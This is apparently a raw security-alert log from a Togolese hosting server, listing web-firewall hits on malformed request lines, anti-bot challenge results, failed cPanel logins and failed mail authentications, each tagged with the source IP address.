name: IM360 WAF: Invalid HTTP Request Line
abuser: 110.89.209.85
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sante/page/223841843 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.88.73.54
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/08/Chinois-1.webp 1020w, http:/togodailynews.tg/wp-content/uploads/2025/08/Chinois-1-300x225.webp 300w, http:/togodailynews.tg/wp-content/uploads/2025/08/Chinois-1-768x576.webp 768w HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 176.222.62.253
country_id: 99237
description:
176.222.62.253 - - [01/Jul/2026:23:57:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672647&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-160330citems%252Feti.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782950272 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-160330citems/eti.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:176.222.62.253


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.4.97
country_id: 241170
description:
31.134.4.97 - - [01/Jul/2026:23:59:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920045&pdata=https%3A%2F%2Fwww.matwtogo.org%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782950342 HTTP/1.1" 302 0 www.matwtogo.org "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.4.97


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.134.4.97
country_id: 241170
description:
[2026-07-01 23:59:04 +0000] info [cpaneld] 31.134.4.97 - rqgqpxof "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.177.151
country_id: 1880251
description:
43.173.177.151 - - [02/Jul/2026:00:01:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050907&pdata=https%253A%252F%252Ftogomedia24.tg%252F2024%252F01%252F22%252Fcan-2023-la-cote-divoire-douchee-a-domicile%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782950468 HTTP/1.1" 404 561 togomedia24.tg "https://togomedia24.tg/2024/01/22/can-2023-la-cote-divoire-douchee-a-domicile/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.177.151


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.32.13.235
country_id: 1861060
description:
2026-07-02 00:02:12 dovecot_plain authenticator failed for H=(slhzdqcrcd1ndqzrintgpsr0z) [45.32.13.235]:45660: 535 Incorrect authentication data (set_id=mesys@mesyscom.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 206.0.24.242
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/grand-lome-un-guichet-consulaire-pour-les-operateurs-economiques/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 206.0.24.242
country_id: 3686110
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/grand-lome-un-guichet-consulaire-pour-les-operateurs-economiques/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.178.227.0
country_id: 3469034
description:
Jul  2 00:06:23 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.178.227.0 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.178.227.0
country_id: 3469034
description:
2026-07-02 00:06:25 dovecot_login authenticator failed for H=([118.91.8.132]) [45.178.227.0]:42307: 535 Incorrect authentication data (set_id=master@sotranetogo.com)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.195.92
country_id: 1880251
description:
43.172.195.92 - - [02/Jul/2026:00:09:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7247507&pdata=https%253A%252F%252Fvitrinenews.tg%252F%253Fp%253D2850&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782950957 HTTP/1.1" 404 561 vitrinenews.tg "https://vitrinenews.tg/?p=2850" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.195.92


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.76.199.26
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sante/page/2037511701 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.67.106.221
country_id: 3686110
description:
Jul  2 00:10:07 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.67.106.221 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.67.106.221
country_id: 3686110
description:
2026-07-02 00:10:09 dovecot_plain authenticator failed for H=(secly) [190.67.106.221]:33830: 535 Incorrect authentication data (set_id=admin@white-ways.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.108.77.139
country_id: 3686110
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1937 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.176.2.73
country_id: 1168579
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=115 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.82.188.141
country_id: 3625428
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1930 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.151.190.82
country_id: 6252001
description:
[2026-07-02 00:13:35 +0000] info [cpaneld] 193.151.190.82 - lunrvcvt "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lunrvcvt (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.181.22.18
country_id: 3923057
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=787 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.142.37.43
country_id: 6252001
description:
[2026-07-02 00:13:35 +0000] info [cpaneld] 193.142.37.43 - lunrvcvt "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lunrvcvt (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 199.96.164.108
country_id: 6252001
description:
199.96.164.108 - - [02/Jul/2026:00:13:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645705&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951214 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:199.96.164.108


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.163.207.122
country_id: 6252001
description:
[2026-07-02 00:13:38 +0000] info [cpaneld] 193.163.207.122 - info "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user info (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.145.131.49
country_id: 294640
description:
[2026-07-02 00:13:38 +0000] info [cpaneld] 45.145.131.49 - info "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user info (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.112.10.252
country_id: 2542007
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=38 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.142.37.43
country_id: 6252001
description:
193.142.37.43 - - [02/Jul/2026:00:13:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000239&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951213 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.142.37.43


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.134.11.48
country_id: 241170
description:
[2026-07-02 00:13:35 +0000] info [cpaneld] 31.134.11.48 - lunrvcvt "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lunrvcvt (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 45.133.112.228
country_id: 6252001
description:
45.133.112.228 - - [02/Jul/2026:00:13:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6931608&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951215 HTTP/1.1" 404 561 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.133.112.228


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.101.65.81
country_id: 6252001
description:
[2026-07-02 00:13:38 +0000] info [cpaneld] 192.101.65.81 - info "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user info (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 199.96.164.108
country_id: 6252001
description:
[2026-07-02 00:13:39 +0000] info [cpaneld] 199.96.164.108 - info "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user info (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.243.90.109
country_id: 241170
description:
[2026-07-02 00:13:36 +0000] info [cpaneld] 77.243.90.109 - yqfywtmz "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yqfywtmz (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.80.107.249
country_id: 294640
description:
[2026-07-02 00:13:37 +0000] info [cpaneld] 45.80.107.249 - info "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user info (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.119.40.146
country_id: 294640
description:
[2026-07-02 00:13:37 +0000] info [cpaneld] 212.119.40.146 - lunrvcvt "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lunrvcvt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.163.92.170
country_id: 6252001
description:
[2026-07-02 00:13:35 +0000] info [cpaneld] 193.163.92.170 - yqfywtmz "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yqfywtmz (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.101.66.240
country_id: 6252001
description:
192.101.66.240 - - [02/Jul/2026:00:13:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7260258&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951215 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.101.66.240


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.11.48
country_id: 241170
description:
31.134.11.48 - - [02/Jul/2026:00:13:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13003160&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951213 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.11.48


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.151.190.82
country_id: 6252001
description:
193.151.190.82 - - [02/Jul/2026:00:13:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725640&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951213 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.151.190.82


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.134.4.97
country_id: 241170
description:
[2026-07-02 00:13:35 +0000] info [cpaneld] 31.134.4.97 - yqfywtmz "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yqfywtmz (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.42.245.67
country_id: 6252001
description:
[2026-07-02 00:13:36 +0000] info [cpaneld] 193.42.245.67 - yqfywtmz "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yqfywtmz (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.101.65.81
country_id: 6252001
description:
192.101.65.81 - - [02/Jul/2026:00:13:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6997402&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951214 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.101.65.81


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.56.20.78
country_id: 6252001
description:
[2026-07-02 00:13:40 +0000] info [cpaneld] 193.56.20.78 - yqfywtmz "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yqfywtmz (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.119.40.146
country_id: 294640
description:
212.119.40.146 - - [02/Jul/2026:00:13:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7390661&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951214 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.119.40.146


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.163.207.122
country_id: 6252001
description:
193.163.207.122 - - [02/Jul/2026:00:13:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6972308&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951216 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.163.207.122


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 77.243.90.109
country_id: 241170
description:
77.243.90.109 - - [02/Jul/2026:00:13:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12806769&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951213 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:77.243.90.109


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.101.66.240
country_id: 6252001
description:
[2026-07-02 00:13:38 +0000] info [cpaneld] 192.101.66.240 - yqfywtmz "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yqfywtmz (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.163.92.170
country_id: 6252001
description:
193.163.92.170 - - [02/Jul/2026:00:13:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9880473&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951213 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.163.92.170


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.80.107.249
country_id: 294640
description:
45.80.107.249 - - [02/Jul/2026:00:13:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9662617&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951214 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.80.107.249


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.145.131.49
country_id: 294640
description:
45.145.131.49 - - [02/Jul/2026:00:13:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987992&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951214 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.145.131.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.4.97
country_id: 241170
description:
31.134.4.97 - - [02/Jul/2026:00:13:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6778781&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951213 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.4.97


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.180.237.231
country_id: 6252001
description:
[2026-07-02 00:13:39 +0000] info [cpaneld] 194.180.237.231 - lunrvcvt "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lunrvcvt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.247.163.197
country_id: 6252001
description:
[2026-07-02 00:13:36 +0000] info [cpaneld] 91.247.163.197 - info "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user info (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 194.180.237.231
country_id: 6252001
description:
194.180.237.231 - - [02/Jul/2026:00:13:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6592149&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951214 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:194.180.237.231


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.42.245.67
country_id: 6252001
description:
193.42.245.67 - - [02/Jul/2026:00:13:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10274973&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951213 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.42.245.67


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 91.247.163.197
country_id: 6252001
description:
91.247.163.197 - - [02/Jul/2026:00:13:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211281&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782951213 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:91.247.163.197


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.27.49.52
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/08/RSI.webp 1280w, http:/togodailynews.tg/wp-content/uploads/2025/08/RSI-300x225.webp 300w, http:/togodailynews.tg/wp-content/uploads/2025/08/RSI-1024x768.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2025/08/RSI-768x576.webp 768w HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.225.234
country_id: 6252001
domain: lasnbt.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnbt.snb.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.165.173.137
country_id: 3469034
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/la-djama-lager-disponible-sur-le-marche HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  2 00:18:37 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.7.27
country_id: 6252001
domain: mail.soroubat.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.soroubat.tg/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 117.188.56.85
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sante/page/1389638144 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.171.194.121
country_id: 6252001
description:
[2026-07-02 00:18:25 +0000] info [cpaneld] 108.171.194.121 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.204.232.244
country_id: 1269750
description:
Jul  2 00:19:19 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.204.232.244 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.204.232.244
country_id: 1269750
description:
2026-07-02 00:19:21 dovecot_login authenticator failed for H=(c83-255-209-245.bredband.tele2.se) [49.204.232.244]:53644: 535 Incorrect authentication data (set_id=master@sotranetogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.157.13.210
country_id: 3686110
description:
2026-07-02 00:19:47 dovecot_login authenticator failed for H=(ge-eth1-vlan1188.fw01.1739.la3.fusionsystems.ml.zerolag.com) [190.157.13.210]:60040: 535 Incorrect authentication data (set_id=master)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.157.13.210
country_id: 3686110
description:
Jul  2 00:19:45 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.157.13.210 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.179.117.164
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sante/page/652826060 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.34.68.55
country_id: 1282988
description:
